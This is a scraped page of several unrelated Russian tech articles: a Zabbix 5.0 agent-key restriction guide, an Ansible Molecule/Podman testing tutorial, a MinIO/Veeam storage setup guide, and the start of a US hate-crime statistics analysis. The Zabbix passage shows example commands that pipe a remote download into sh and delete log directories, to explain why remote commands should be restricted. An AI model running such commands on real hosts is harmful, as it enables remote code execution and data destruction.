ПРИМЕЧАНИЕ. Данные могут быть получены, только если агент имеет права на чтение соответствующего файла. Но, например, файл /etc/passwd/ доступен для чтения всем пользователям.


  • Агент также может выполнять потенциально опасные команды. Например, ключ *system.run[]** позволяет выполнять любые удаленные команды на узлах сети, в том числе запускать из веб-интерфейса Zabbix скрипты, которые также выполняют команды на стороне агента.

# zabbix_get -s my.prod.host -k system.run["wget http://malicious_source -O- | sh"]# zabbix_get -s my.prod.host -k system.run["rm -rf /var/log/applog/"]

  • В Linux агент по умолчанию запускается без root-привилегий, тогда как в Windows он запускается как сервис от имени System и имеет неограниченный доступ к файловой системе. Соответственно, если после установки в параметры Zabbix Agent не внесены изменения, агент имеет доступ к реестру, файловой системе и может выполнять WMI запросы.

В более ранних версиях параметр EnableRemoteCommands=0 позволял только отключать метрики с ключом *system.run[]** и выполнение скриптов из веб-интерфейса, но при этом было не было возможности ограничить доступ к отдельным файлам, разрешить или запретить отдельные ключи, которые устанавливались вместе с агентом, или ограничить использование отдельных параметров.



Использование параметра EnableRemoteCommand в ранних версиях Zabbix


AllowKey/DenyKey


Zabbix 5.0 помогает защититься от такого несанкционированного доступа благодаря белым и черным спискам для разрешения и запрета метрик на стороне агента.


В Zabbix 5.0 все ключи, включая *system.run[]**, разрешены, и добавлены два новых параметра конфигурации агента:


AllowKey= разрешенные проверки;


DenyKey= запрещенные проверки;


где паттерн имени ключа с параметрами, в котором используются метасимволы (*).

Ключи AllowKey и DenyKey позволяют разрешить или запретить отдельные метрики по определенному шаблону. В отличие от других параметров конфигурации количество параметров AllowKey/DenyKey не ограничено. Это позволяет четко определить, что именно агент может делать в системе благодаря созданию дерева проверок выполняемых ключей, где очень важную роль играет порядок их написания.


Последовательность правил


Правила проверяются в том порядке, в котором они внесены в конфигурационный файл. Проверка ключа по правилам происходит до первого совпадения, и как только ключ элемента данных совпадает с паттерном, он разрешается или запрещается. После этого проверка правил останавливается, и остальные ключи игнорируются.


Поэтому если элемент соответствует и разрешающему, и запрещающему правилу, результат будет зависеть от того, какое правило будет первым в конфигурационном файле.



2 разных правила с одинаковым паттерном и ключ vfs.file.size[/tmp/file]


Порядок использования ключей AllowKey/DenyKey:


  1. точные правила,
  2. общие правила,
  3. запрещающее правило.

Например, если вам необходим доступ к файлам в определенной папке, необходимо сначала разрешить доступ к ним, после чего запретить все остальное, что не попадает под установленные разрешения. Если в первую очередь будет использовано запрещающее правило, доступ к папке будет запрещен.



Правильная последовательность


Если необходимо разрешить запуск 2 утилит через *system.run[]**, и в первую очередь будет указано запрещающее правило, утилиты запускаться не будут, потому что первый паттерн будет всегда соответствовать любому ключу, и последующие правила будут игнорироваться.



Неправильная последовательность


Паттерны


Основные правила


Паттерн выражение с подстановочными знаками (wildcard). Метасимвол (*) соответствует любому количеству любых символов в определенной позиции. Метасимволы могут использоваться как в имени ключа, так и в параметрах. Например, можно жестко определить текстом первый параметр, а последующий указать как wildcard.


Параметры должны быть заключены в квадратные скобки [].


  • system.run[* неверно
  • vfs.file*.txt] неверно
  • vfs.file.*[*] верно

Примеры использования wildcard.


  1. В имени ключа и в параметре. В данном случае ключ не соответствует аналогичному ключу, который не содержит параметр, поскольку в паттерне мы указали, что хотим получить некое окончание имени ключа и некий набор параметров.
  2. Если в паттерне не использованы квадратные скобки, паттерн разрешает все ключи, которые не содержат параметры и запрещает все ключи с указанным параметром.
  3. Если ключ записан полностью, а параметры указаны как wildcard, он будет соответствовать любому аналогичному ключу с любыми параметрами и не будет соответствовать ключу без квадратных скобок, т. е. будет разрешен или запрещен.


Правила заполнения параметров.


  • Если подразумевается использование ключа с параметрами, параметры должны быть прописаны в файле конфигурации. Параметры должны быть указаны как метасимвол. Необходимо осторожно запрещать доступ к какому-либо файлу и учитывать, какую информацию сможет отдавать метрика при различных вариантах написания с параметрами и без них.


Особенности написания ключей с параметрами


  • Если ключ указан с параметрами, но параметры являются необязательными и указаны как метасимвол, ключ без параметров будет разрешен. Например, если вы хотите запретить получение информации о нагрузке на CPU и указываете, что ключ system.cpu.load[*] должен быть запрещен, не забывайте, что ключ без параметров вернет среднее значение нагрузки.


Правила заполнения параметров


Заметки


Настройка


  • Некоторые правила не могут быть изменены пользователем, например, правила обнаружения (discovery) или авторегистрации агентов. Правила AllowKey/DenyKey не затрагивают следующие параметры:
    HostnameItem
    HostMetadataItem
    HostInterfaceItem

ПРИМЕЧАНИЕ. Если администратор запрещает какой-либо ключ, при запросе Zabbix не выдает информации о том, по какой причине метрика или ключ попадают в категорию 'NOTSUPPORTED'. В log-файлах агента информация о запретах на выполнение удаленных команд также не отображается. Это сделано из соображений безопасности, но может осложнить отладку, если метрики попадают в неподдерживаемую категорию по каким-либо причинам.


  • Не стоит рассчитывать на какой-то определенный порядок подключения внешних файлов конфигурации (например, в алфавитном порядке).

Утилиты командной строки


После настройки правил необходимо удостовериться, что все настроено верно.


Можно воспользоваться одним из трех вариантов:


  • Добавить метрику в Zabbix.
  • Протестировать с помощью zabbix_agentd. Zabbix agent c опцией -print (-p) показывает все ключи (которые разрешены по умолчанию), кроме тех, которые не разрешены конфигурацией. А с опцией -test (-t) для запрещенного ключа вернет 'Unsupported item key'.
  • Протестировать с помощью zabbix_get. Утилита zabbix_get с опцией -k вернет 'ZBX_NOTSUPPORTED: Unknown metric'.

Разрешать или запрещать


Вы можете запретить доступ к файлу и удостовериться, например, с помощью утилиты zabbix_get, что доступ к файлу запрещен.



**


ПРИМЕЧАНИЕ. Кавычки в параметре игнорируются.


При этом доступ к такому файлу может быть разрешен по другому пути. Например, если на него ведет симлинк.



Рекомендуется проверять различные варианты применения задаваемых правил, а также учитывать возможности обойти запреты.


Вопросы и ответы


Вопрос. Почему для описания правил, разрешений и запретов выбрана такая сложная схема паттерна со своим языком? Почему не было возможности воспользоваться, например, регулярными выражениями, которые использует Zabbix?


Ответ. Это вопрос производительности regex, поскольку агент, как правило, один, и он проверяет огромное количество метрик. Regex достаточно тяжелая операция, и мы не можем проверять тысячи метрик таким образом. Wildcards универсальное, шороко применяемое и простое решение.


Вопрос. Разве файлы Include подключаются не в алфавитном порядке?


Ответ. Насколько мне известно, предсказать последовательность применения правил, если вы разносите правила по разным файлам, фактически невозможно. Я рекомендую собрать все правила AllowKey/DenyKey в одном файле Include, потому что они взаимодействуют друг с другом, и подключать этот файл.


Вопрос. В Zabbix 5.0 опция 'EnableRemoteCommands=' в конфигурационном файле отсутствует, и доступны только AllowKey/DenyKey?


Ответ. Да, все верно.


Спасибо за внимание!

Подробнее..

Разработка и тестирование Ansible-ролей с использованием Molecule и Podman

17.09.2020 10:15:44 | Автор: admin
Одно из основных преимуществ Red Hat Ansible Automation Platform заключается в том, что ее язык описания автоматизаций читабелен не только для пары-тройки гуру, но и почти для всех, кто имеет отношение к ИТ. Поэтому вносить свой вклад в автоматизацию могут любые специалисты, что сильно облегчает организацию межкомандного взаимодействия и внедрение автоматизации на уровне корпоративной культуры.



Однако, когда делом занимается такая масса народа, очень важно все тщательно тестировать. При разработке Ansible-контента, вроде плейбуков, ролей или коллекций, мы очень рекомендуем предварительно проверять все в тестовой среде, прежде чем выкатывать в продакшн. Цель такого тестирования удостовериться, что все работает как надо, чтобы избежать неприятных сюрпризов на боевых системах.

Тестирование автоматизационного контента штука довольно сложная, поскольку для этого надо развертывать специальную инфраструктуру тестирования и настраивать условия тестирования, чтобы обеспечить релевантность самих тестов. Molecule это комплексная инфраструктура тестирования, которая помогает разрабатывать и тестировать роли Ansible, чтобы вы могли сосредоточиться на разработке автоматизаций и не отвлекаться на управление инфраструктурой тестирования.

Вот как это декларируется в документации проекта:

Molecule призван помочь в разработке и тестировании ролей Ansible, и способствует внедрению подхода, результатом которого являются комплексно проработанные роли, которые хорошо написаны, просты в понимании и поддержке.

Molecule позволяет протестировать роль на множестве целевых инстансов, чтобы проверить ее в различных комбинациях операционных систем и сред виртуализации. Без него для каждой из таких комбинаций пришлось бы создавать и поддерживать отдельную среду тестирования, настраивать подключение к тестовым инстансам и откатывать их в исходное состояние перед каждым тестированием. Molecule же делает все это за вас, причем автоматизированным и воспроизводимым образом.

В этой серии из двух частей мы покажем, как применять Molecule при разработке и тестировании ролей Ansible. В первой части рассмотрим установку и настройку Molecule, во второй разработку ролей с его помощью.

Если роль является частью коллекции, используйте этот подход для разработки и юнит-тестирования роли. В следующей статье мы покажем, как применять Molecule для выполнения интегрированных тестов в коллекции.

Molecule использует драйверы для предоставления целевых инстансов на базе различных технологий, включая Linux-контейнеры, виртуальные машины и облачных провайдеров. По умолчанию он идет с тремя предустановленными драйверами: Docker и Podman для контейнеров, а также драйвером Delegated для создания кастомных интеграций. Драйверы для других провайдеров предоставляются сообществом разработки проекта.

В этом посте мы будем использовать драйвер Podman для разработки и тестирования новой роли с использованием Linux-контейнеров. Podman это легковесный контейнерный движок для Linux, ему не нужен работающий демон и он обеспечивает запуск rootless-контейнеров, что хорошо для безопасности.

Используя Molecule с драйвером Podman, мы с нуля разработаем и протестируем новую роль Ansible, которая развертывает веб-приложение на базе веб-сервера Apache и должна работать на Red Hat Enterprise Linux (RHEL) 8 или Ubuntu 20.04.

Мы разбираем типовой сценарий, когда роль должна работать на различных версиях операционной системы. Используя Podman и Linux-контейнеры, мы можем создать несколько инстансов, чтобы протестировать роль на разных версиях ОС. Благодаря своей легковесности, контейнеры позволяют быстро итерировать функциональность роли прямо по ходу разработки. Использование контейнеров для тестирования ролей применимо в данной ситуации, поскольку роль конфигурирует только запущенные инстансы Linux. Для тестирования на других целевых системах или облачных инфраструктурах можно использовать драйвер delegated или другие драйверы, предоставляемые сообществом.

Что нам понадобится


Для примеров из этой статьи нужна физическая или виртуальная машина Linux с установленными Python 3 и Podman (мы используем RHEL 8.2). Также Podman должен был сконфигурирован для запуска rootless-контейнеров. Установка Podman выходит за рамки этой статьи, для получения соответствующей информации см. официальную документацию. Установка Podman на RHEL 8 также описывается в документации по контейнерам RHEL 8.

Приступаем


Molecule выполнен в виде Python-пакета и, соответственно, устанавливается через pip. Первым шагом мы создаем выделенное Python-окружение и устанавливаем в него наш Molecule:

$ mkdir molecule-blog$ cd molecule-blog$ python3 -m venv molecule-venv$ source molecule-venv/bin/activate(molecule-venv) $ pip install "molecule[lint]"

Обратите внимание, что мы устанавливаем Molecule с опцией lint, чтобы pip также поставил инструменты yamllint и ansible-lint, которые позволят нам использовать Molecule для статического анализа кода роли на предмет соответствия стандартам кодирования Ansible.

Установка скачивает все необходимые зависимости из интернета, включая Ansible. Теперь смотрим что мы установили:

$ molecule --versionmolecule 3.0.4   ansible==2.9.10 python==3.6

Что ж, пора использовать команду molecule, чтобы инициализировать новую роль Ansible.

Инициализируем новую роль Ansible


Вообще говоря, при разработке новой роли Ansible, она инициализируется командой ansible-galaxy role init, но мы будем использовать вместо этого команду molecule. При этом мы получим ту же структуру роли, что и с командой ansible-galaxy, а также базовую заготовку кода для запуска тестов Molecule.

По умолчанию Molecule использует для выполнения тестов драйвер Docker. Поскольку мы хотим использовать вместо него podman, то при инициализации роли командой molecule надо указать соответствующий драйвер с помощью опции --driver-name=podman.

Переключаемся обратно в каталог molecule-blog и инициализируем новую роль mywebapp следующей командой:

$ molecule init role mywebapp --driver-name=podman--> Initializing new role mywebapp...Initialized role in /home/ricardo/molecule-blog/mywebapp successfully.

Molecule создает структуру нашей роли в папке mywebapp. Переключаемся в эту папку и смотрим, что там:

$ cd mywebapp$ tree. defaults    main.yml files handlers    main.yml meta    main.yml molecule    default        converge.yml        INSTALL.rst        molecule.yml        verify.yml README.md tasks    main.yml templates tests    inventory    test.yml vars     main.yml 10 directories, 12 files

Molecule складывает свои конфигурационные файлы в подкаталог molecule. При инициализации новой роли здесь появляется всего один сценарий, который называется default. Позднее сюда можно добавить свои сценарии для тестирования различных условий. В этой статье мы будем использовать только сценарий default.

Проверим базовую конфигурацию в файле molecule/default/molecule.yml:

$ cat molecule/default/molecule.yml ---dependency:  name: galaxydriver:  name: podmanplatforms:  - name: instance    image: docker.io/pycontribs/centos:7    pre_build_image: trueprovisioner:  name: ansibleverifier:  name: ansible

Как мы и просили, в этом файле указано, что для тестов применяется драйвер Podman. Здесь же задается платформа по умолчанию для тестового инстанса, через контейнерный образ docker.io/pycontribs/centos:7, который мы потом поменяем.

В отличие Molecule v2, Molecule v3 не задает линтер по умолчанию. Поэтому откроем конфигурационный файл molecule/default/molecule.yml и допишем в конце конфигурацию lint:

$ vi molecule/default/molecule.yml...verifier:  name: ansiblelint: |  set -e  yamllint .  ansible-lint .

Сохраним и закроем файл, и запустим команду molecule lint из корневой папки нашего проекта, чтобы прогнать линтер по всему проекту:

$ molecule lint

На выходе получаем несколько ошибок, поскольку в файле meta/main.yml нет ряда требуемых значений. Исправим это: отредактируем файл meta/main.yml, добавив author, company, license, platforms и удалив пустую строку в конце. Для краткости обойдемся без комментариев, и тогда наш meta/main.yaml будет выглядеть так:

$ vi meta/main.ymlgalaxy_info:  author: Ricardo Gerardi  description: Mywebapp role deploys a sample web app   company: Red Hat    license: MIT    min_ansible_version: 2.9   platforms:  - name: rhel    versions:    - 8   - name: ubuntu    versions:    - 20.04   galaxy_tags: [] dependencies: []

Еще раз прогоним по проекту линтер и убедимся, что ошибок больше нет.

$ molecule lint--> Test matrix     default     dependency     lint    --> Scenario: 'default'--> Action: 'dependency'Skipping, missing the requirements file.Skipping, missing the requirements file.--> Scenario: 'default'--> Action: 'lint'--> Executing: set -eyamllint .ansible-lint . 

Итак, наша роль инициализирована и базовая конфигурация molecule тоже на месте. Теперь создадим тестовый инстанс.

Создаем тестовый инстанс


По умолчанию Molecule задает только один инстанс, которые называется instance и создается из образа Centos:7. Наша роль, если помните, должна работать на RHEL 8 и Ubuntu 20.04. Кроме того, поскольку она запускает веб-сервер Apache в качестве системной службы, нам нужен контейнерный образ с включенным systemd.

У Red Hat есть официальный Universal Base Image для RHEL 8 с включенным systemd:

registry.access.redhat.com/ubi8/ubi-init

Для Ubuntu нет официального образа с systemd, поэтому мы воспользуемся образом, который поддерживается силами Джефа Джирлинга (Jeff Geerling) из сообщества Ansible:

geerlingguy/docker-ubuntu2004-ansible

Чтобы получить инстансы с systemd, подправим конфигурационный файл molecule/default/molecule.yml, убрав из него инстанс centos:7 и добавив два новых инстанса:

$ vi molecule/default/molecule.yml---dependency:  name: galaxydriver:  name: podmanplatforms:  - name: rhel8    image: registry.access.redhat.com/ubi8/ubi-init    tmpfs:      - /run      - /tmp    volumes:      - /sys/fs/cgroup:/sys/fs/cgroup:ro    capabilities:      - SYS_ADMIN    command: "/usr/sbin/init"    pre_build_image: true  - name: ubuntu    image: geerlingguy/docker-ubuntu2004-ansible    tmpfs:      - /run      - /tmp    volumes:      - /sys/fs/cgroup:/sys/fs/cgroup:ro    capabilities:      - SYS_ADMIN    command: "/lib/systemd/systemd"    pre_build_image: trueprovisioner:  name: ansibleverifier:  name: ansiblelint: |  set -e  yamllint .  ansible-lint .

С помощью этих параметров мы монтируем для каждого инстанса временную файловую систему /run и /tmp, а также том cgroup. Кроме того, мы включаем функцию SYS_ADMIN, необходимую для запуска контейнеров с Systemd.

Если делать все по уму и выполнять этот пример на машине RHEL 8 с включенным SELinux, то еще надо установить в true логический параметр container_manage_cgroup, чтобы контейнеры могли запускать Systemd, (подробнее см. документацию RHEL 8):

sudo setsebool -P container_manage_cgroup 1

Для инициализации этих инстансов Molecule использует Ansible Playbook. Изменим и добавим параметры инициализации, модифицировав словарь provisioner в конфигурационном файле molecule/default/molecule.yml.

Он принимает те же самые опции конфигурации, что прописаны в конфигурационном файле ansible.cfg. Например, обновим конфигурацию провайдера (provisioner), добавив секцию defaults. Установим интерпретатор Python в auto_silent, чтобы деактивировать предупреждения. Включим callback-плагины profile_tasks, timer и yaml, чтобы профайлерская информация включалась в вывод Playbook. И наконец, добавим секцию ssh_connection и отключим SSH pipelining, поскольку он не работает с Podman:

provisioner:  name: ansible  config_options:    defaults:      interpreter_python: auto_silent      callback_whitelist: profile_tasks, timer, yaml    ssh_connection:      pipelining: false

Сохраним этот файл и создадим инстанс командой molecule create из корневого каталога нашей роли:

$ molecule create

Molecule выполнит инициализационный плейбук и создаст оба наших инстанса. Проверим их командой molecule list:

$ molecule listInstance Name    Driver Name    Provisioner Name    Scenario Name    Created    Converged---------------  -------------  ------------------  ---------------  ---------  -----------rhel8            podman         ansible             default          true       falseubuntu           podman         ansible             default          true       false

Также проверим, что оба контейнера запущены в Podman:

$ podman psCONTAINER ID  IMAGE                                                   COMMAND               CREATED             STATUS                 PORTS  NAMES2e2f14eaa37b  docker.io/geerlingguy/docker-ubuntu2004-ansible:latest  /lib/systemd/syst...  About a minute ago  Up About a minute ago         ubuntu2ce0a0ea8692  registry.access.redhat.com/ubi8/ubi-init:latest         /usr/sbin/init        About a minute ago  Up About a minute ago         rhel8

При разработке роли Molecule использует запущенные инстансы для ее тестирования. Если тест проваливается или какая-то ошибка приводит к необратимым изменениям, из-за которых все надо начинать сначала, вы можете в любое время убить эти инстансы командой molecule destroy и создать их заново командной molecule create.

Заключение


Если вам не терпится и хочется поглубже копнуть тему разработки и тестирования ролей, или тему Ansible-автоматизации, то рекомендуем следующие ресурсы:

Подробнее..

MinIo для самых маленьких

23.09.2020 10:08:04 | Автор: admin
MinIO прекрасное решение, когда надо легко и просто организовать объектное хранилище. Элементарная настройка, множество платформ и хорошая производительность сделали своё дело на ниве народной любви. Так что у нас не было другого пути, как месяц назад заявить о совместимости Veeam Backup & Replication и MinIO. Включая такую важную функцию, как Immutability. На самом деле у MinIO есть целый раздел в документации, посвящённый нашей интеграции.

Поэтому сегодня мы поговорим о том, как:

  • Настроить MinIO очень быстро.
  • Настроить MinIO чуть менее быстро, но значительно качественней.
  • Использовать его в качестве Archive Tier для масштабируемого репозитория Veeam SOBR.



Что ты такое?


Краткая вводная для тех, кто не сталкивался с MinIO. Это опенсорсное объектное хранилище, совместимое с Amazon S3 API. Выпускается под лицензией Apache v2 и придерживается философии спартанского минимализма.

То есть у него нет развесистого GUI с дашбордами, графиками и многочисленными меню. MinIO просто запускает свой сервер одной командой, на котором можно просто хранить данные, используя всю мощь S3 API. Но надо заметить, что простота эта может быть обманчива, когда речь заходит об используемых ресурсах. RAM и CPU поглощаются на отлично, но о причинах будет ниже. И, к слову сказать, такие комбайны, как FreeNAS и TrueNAS под капотом используют именно MinIO.

На этом введение можно и заканчивать.

Настройка MinIO очень быстро


Настройка его настолько быстра, что мы рассмотрим её для Windows и Linux. Есть варианты и для докера, и для кубернетиса, и даже для макоси, но смысл везде будет одинаковый.

Итак, в случае Windows идём на официальный сайт https://min.io/download#/windows и качаем последнюю версию. Там же наблюдаем инструкцию по запуску:

 minio.exe server F:\Data

И там же ссылка на чуть более развёрнутый Quick start guide. Инструкции не верить смысла нет, поэтому запускаем и получаем примерно такой ответ.


На этом всё!Хранилище работает и можно начинать с ним работать. Я не шутил, когда говорил, что MinIO это минимализм и просто работает. Если пройти по предложенной при запуке ссылке, то максимум доступных там функций это создать бакет.И можно начинать писать данные.

Для любителей линуксов всё остаётся не менее простым. Простейшая инструкция:

wget https://dl.min.io/server/minio/release/linux-amd64/miniochmod +x minio./minio server /data

Результат будет неотличим от виденного ранее.

Настройка MinIO чуть более осмысленная


Как мы понимаем, предыдущий абзац это баловство для тестовых целей. И, скажем честно, именно для тестирования MinIO у нас используется очень широко, в чём нам совершнно не стыдно признаться. Конечно, оно работает, но дальше тестовых стендов выносить такое стыдно. Поэтому берём в руки напильник и начинаем доводить до ума.

HTTPS


Первый обязательный шаг на пути к продакшену шифрование. В сети уже есть миллион и тысяча мануалов по добавлению сертификатов к MiniIO, но общий план у них такой:

  • Создаём сертификат
  • В случае Windows кладём его в C:\Users\%User%\.minio\certs
  • В случае Linux в ${HOME}/.minio/certs
  • Перезапускаем сервер

Банальный Lets Encrypt это скучно и описано везде, так что наш путь это путь самурая, поэтому в случае Windows скачиваем Cygwin, а в случае Linux просто проверяем, что у нас установлен openssl. И делаем немного консольной магии:

  • Создаём ключи: openssl ecparam -genkey -name prime256v1 | openssl ec -out private.key
  • Создаём сертификат по ключу: openssl req -new -x509 -days 3650 -key private.key -out public.crt
  • Копируем private.key и public.crt в папку, указанную выше
  • Перезапускаем MinIO

Если всё прошло как надо, то в статусе появятся примерно такие строчки.


Включаем MinIO Erasure Coding


Сперва пара слов о сабже. В двух словах: это программная защита данных от повреждения и потери. Как рейд, только намного надёжней. Если классический RAID6 может позволить себе потерять два диска, то MinIO спокойно переживает потерю половины.Более детально технология описана в официальном гайде. Но если взять самую суть, то это реализация кодов Рида-Соломона: вся информация хранится в виде блоков данных, к которым есть блоки чётности. И вроде это всё уже было сделано много раз, только есть важное но: мы можем явно указывать соотношение блоков чётности к блокам данных для хранимых объектов.
Хотите 1:1? Пожалуйста!
Хотите 5:2? Без проблем!

Очень важная функция, если вы используете сразу несколько нод и хотите найти свой собственный баланс между максимальной безопасностью данных и затраченных ресурсов. Из коробки MinIO использует формулу N/2 (где N общее количество дисков), т.е. делит ваши данные между N/2 дисками данных и N/2 дисками четности. Переводя на человеческий: можно потерять половину дисков и восстановить данные. Это соотношение задаётся через Storage Class, позволяя вам самостоятельно выбрать, что важнее: надёжность или ёмкость.

В гайде приведён такой пример: предположим, что у вас инсталляция на 16 дисков и вам надо сохранить файл размером 100 Мб. Если используются настройки по умолчанию (8 дисков под данные, 8 под блоки чётности), то файл в итоге займёт практически двойной объём т.е. 200 Мб. Если отношение дисков будет 10/6, то понадобится 160 Мб. 14/2 114 Мб.

Другое важное отличие от рейдов: в случае выпадения дисков MinIO будет работать на уровне объектов, восстанавливая один за другим, не останавливая работу всей системы. В то время как обычный рейд будет вынужден восстанавливать весь volume, что займёт непредсказуемое количество времени. На памяти автора дисковая полка, которая после выпадения двух дисков ушла на пересчёт на полторы недели. Было весьма неприятно.

Звучит всё это очень здорово, но насколько сложной будет настройка? Давайте посмотрим. Берём команду для запуска и просто перечисляем диски, на которых нужно создать хранилище. Если всё сделано верно, то в репорте увидим количество задействованных дисков. И совет, что негоже на один хост добавлять сразу половину дисков, ибо это к потере данных.

c:\minio>minio.exe server F:\ G:\ H:\ I:\ J:\ K:\


Далее для управления и настройки MinIO сервера нам потребуется агент, скачать который можно всё там же с официального сайта.

Чтобы не стирать пальцы, каждый раз набирая адрес и ключи доступа (да и небезопасно это), удобно при первом запуске сразу создать alias по формуле mc alias set <YOUR-MINIO-ENDPOINT> [YOUR-ACCESS-KEY] [YOUR-SECRET-KEY]

mc alias set veeamS3 https://172.17.32.52:9000 YOURS3ACCESSKEY YOURSECERTKE

Или же можно сразу добавить ваш хост:

mc config host add minio-veeam https://minio.jorgedelacruz.es YOURS3ACCESSKEY YOURSECERTKEY

А потом создадим immutable бакет красивой командой

mc mb --debug -l veeamS3/immutablemc: <DEBUG> PUT /immutable/ HTTP/1.1Host: 172.17.32.52:9000User-Agent: MinIO (windows; amd64) minio-go/v7.0.5 mc/2020-08-08T02:33:58ZContent-Length: 0Authorization: AWS4-HMAC-SHA256 Credential=minioadmin/20200819/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-bucket-object-lock-enabled;x-amz-content-sha256;x-amz-date, Signature=**REDACTED**X-Amz-Bucket-Object-Lock-Enabled: trueX-Amz-Content-Sha256: UNSIGNED-PAYLOADX-Amz-Date: 20200819T092241ZAccept-Encoding: gzipmc: <DEBUG> HTTP/1.1 200 OKContent-Length: 0Accept-Ranges: bytesContent-Security-Policy: block-all-mixed-contentDate: Wed, 19 Aug 2020 09:22:42 GMTLocation: /immutableServer: MinIO/RELEASE.2020-08-16T18-39-38ZVary: OriginX-Amz-Request-Id: 162CA0F9A3A3AEA0X-Xss-Protection: 1; mode=blockmc: <DEBUG> Response Time: 253.0017ms

--debug позволяет видеть не просто итоговое сообщение, а более развёрнутую информацию.

-l значит --with-lock, что значит immutable

Если теперь вернуться в веб интерфейс, то там появится наш новый бакет.


На данный момент это всё. Мы создали защищенное хранилище и готовы переходить к интеграции с Veeam.

Можно ещё удостовериться, что всё работает на отлично:

c:\minio>mc admin info veeamS3 172.17.32.52:9000Uptime: 32 minutesVersion: 2020-08-16T18:39:38ZNetwork: 1/1 OKDrives: 6/6 OK0 B Used, 1 Bucket, 0 Objects6 drives online, 0 drives offline

MinIO и Veeam


Внимание! Если по какой-то из невероятных причин вы хотите работать через HTTP, то по адресу HKEY_LOCAL_MACHINE\SOFTWARE\Veeam\Veeam Backup and Replication\ создайте DWORD ключ SOBRArchiveS3DisableTLS. Выставите его значение в 1 и помните, что мы такое поведение решительно не одобряем и никому не советуем.

Внимание ещё раз! Если из-за какого-то недоразумения вы продолжаете использовать Windows 2008 R2, то при попытке подключить MinIO к Veeam вы скорее всего получите примерно такую ошибку: Failed to establish connection to Amazon S3 endpoint. Лечится это официальным патчем от Microsoft.

Ну что же, с приготовлениями закончено, давайте откроем интерфейс VBR и перейдём на вкладку Backup Infrastructure, где вызовем мастер добавления нового репозитория.


Само собой, интересует нас Object storage, а именно S3 Compatible. В открывшемся визарде задаём имя, проходим шаги с указанием адреса и учётной записи. Если требуется, то не забываем указать гейт, через который будут проксироваться запросы к хранилищу.


После чего выбираем бакет, папку и ставим галочку Make recent backups immutable. Или не ставим. Но раз уж мы сделали хранилище с поддержкой этой функции, то грех будет не воспользоваться.


Next > Finish и наслаждаемся результатом.

Теперь надо добавить его к SOBR репозиторию в качестве Capacity Tier. Для этого или создаём новый, или редактируем имеющийся. Нас интересует шаг Capacity Tier.


Здесь нам надо выбрать, по какому сценарию мы будем работать. Все варианты довольно хорошо описаны в другой статье, так что не буду повторяться

А по завершении работы мастера, будут автоматически запущены задания на копирование или перенос бекапов. Но если в ваши планы не входит так сразу выдать нагрузку на все системы, то обязательно задайте допустимые интервалы для работы по кнопке Window.


И само-собой, можно сделать отдельные Backup Copy задания. Некоторые считают, что так даже удобнее, так как они несколько более прозрачны и предсказуемы для пользователя нежелающего вникать в подробности работы капасити тира. А подробностей там хватает, так что ещё раз рекомендую соответствующую статью по ссылке выше.

И напоследок, ответ на коварный вопрос: что же будет если всё же взять и попробовать удалить бекап из Immutable стораджа?

Вот ответ:



На этом на сегодня всё. По верной традиции, ловите список полезных топиков по теме:
Мануал Using MinIO with Veeam
Пример по использовани MinIO вместе с Veeam Backup for Office 365.
Общий мануал по настройке S3 стораджей в Veeam.
Ветка на нашем форуме про S3 хранилища.
Подробнее..

Преступления на почве расизма в США статистический анализ

15.09.2020 04:20:57 | Автор: admin
После моей недавней статьи (части 1, 2, 3) о криминале и полицейской стрельбе в США и их связи с расовой принадлежностью я решил продолжить эту тему и в таком же ключе проанализировать другие открытые данные благо, таких еще достаточно благодаря программе криминальной отчетности ФБР.

Сегодня будем исследовать данные по преступлениям, совершенным на почве нетерпимости. Сначала посмотрим на всю статистику целиком, а затем подробно рассмотрим именно расовую нетерпимость и конкретно преступления, совершаемые белыми и черными на почве вражды к белым и черным.

Дисклеймер
Позвольте мне быть ленивым и отправить вас, уважаемые читатели, посмотреть дисклеймер в начале моей первой статьи о криминале в США :) Все, что там написано, подходит и для этого исследования.


Исходные данные


В качестве исходных данных я скачал датасет с сайта Crime Data Explorer, поддерживаемого ФБР в рамках программы криминальной отчетности США (об этом сайте я уже писал в предыдущей статье). Скачать по прямой ссылке можно здесь (4.4 МБ). Скачанный архив содержит собственно сами данные в формате CSV, а также текстовое описание. Данные я никак не трансформировал, поэтому если вы захотите повторить анализ самостоятельно, вы должны получить те же результаты.

Также я использовал данные по численности населения США с разбивкой по расовой принадлежности, полученные из официальных данных Бюро переписи населения и дополненные модельными данными за период с 1991 по 2009 г. Скачать можно здесь (Яндекс.Диск). Для анализа географического распределения удельных показателей мне понадобилась и численность населения по штатам, полученные из того же источника (скачать здесь). Эти же данные я использовал в своей предыдущей статье.

Что такое преступления на почве нетерпимости и как они регистрируются?


С сайта ФБР:
The FBIs UCR Program defines hate crime as a committed criminal offense which is motivated, in whole or in part, by the offenders bias(es) against a race, religion, disability, sexual orientation, ethnicity, gender, or gender identity.

Перевод:
Программа криминальной отчетности ФБР определяет преступление на почве нетерпимости как совершенное преступление, мотивированное (частично или полностью) предвзятостью правонарушителя против расы, религии, физического ограничения, сексульной ориентации, принадлежности к этнической группе, пола или половой самоидентификации.

В справке, сопровождающей исходный датасет по преступлениям, также указано следующее (курсив сохранен):
Because motivation is subjective, it is sometimes difficult to know with certainty whether a crime resulted from the offenders bias. Moreover, the presence of bias alone does not necessarily mean that a crime can be considered a hate crime. Only when a law enforcement investigation reveals sufficient evidence to lead a reasonable and prudent person to conclude that the offenders actions were motivated, in whole or in part, by his or her bias, should an agency report an incident as a hate crime.

Другими словами, все случаи, регистрируемые в базе как преступления на почве нетерпимости, попадают должны попадать туда только после того, как мотив действий преступника установлен следствием.

Естественно, проверить выводы следствия по каждому случаю невозможно, поскольку база агрегирует отчетность сотен различных служб правопорядка по всей стране и доступ ко всем материалам следствия есть (можно предположить) только для сотрудников ФБР. Сама база предоставляет только готовую статистику.

Структура базы данных


База содержит данные по преступлениям на почве нетерпимости с 1991 по 2018 г. На момент написания статьи последняя запись датируется 31 декабря 2018 г., всего 201403 записи. Каждая запись один случай преступления. Таким образом, получаем в среднем 7193 преступлений в год.

Список полей базы данных в исходном CSV формате
  1. INCIDENT_ID: ID события (преступления)
  2. DATA_YEAR: год, в который совершено преступление
  3. ORI: ID агентства (службы правопорядка), предоставившего данные
  4. PUB_AGENCY_NAME: публичное название агентства / службы (обычно совпадает с городом)
  5. PUB_AGENCY_UNIT: название подразделения службы (например, округ)
  6. AGENCY_TYPE_NAME: тип службы (муниципальная / окружная)
  7. STATE_ABBR: сокращенное наименование штата
  8. STATE_NAME: полное название штата
  9. DIVISION_NAME: название региона (куда входят несколько штатов)
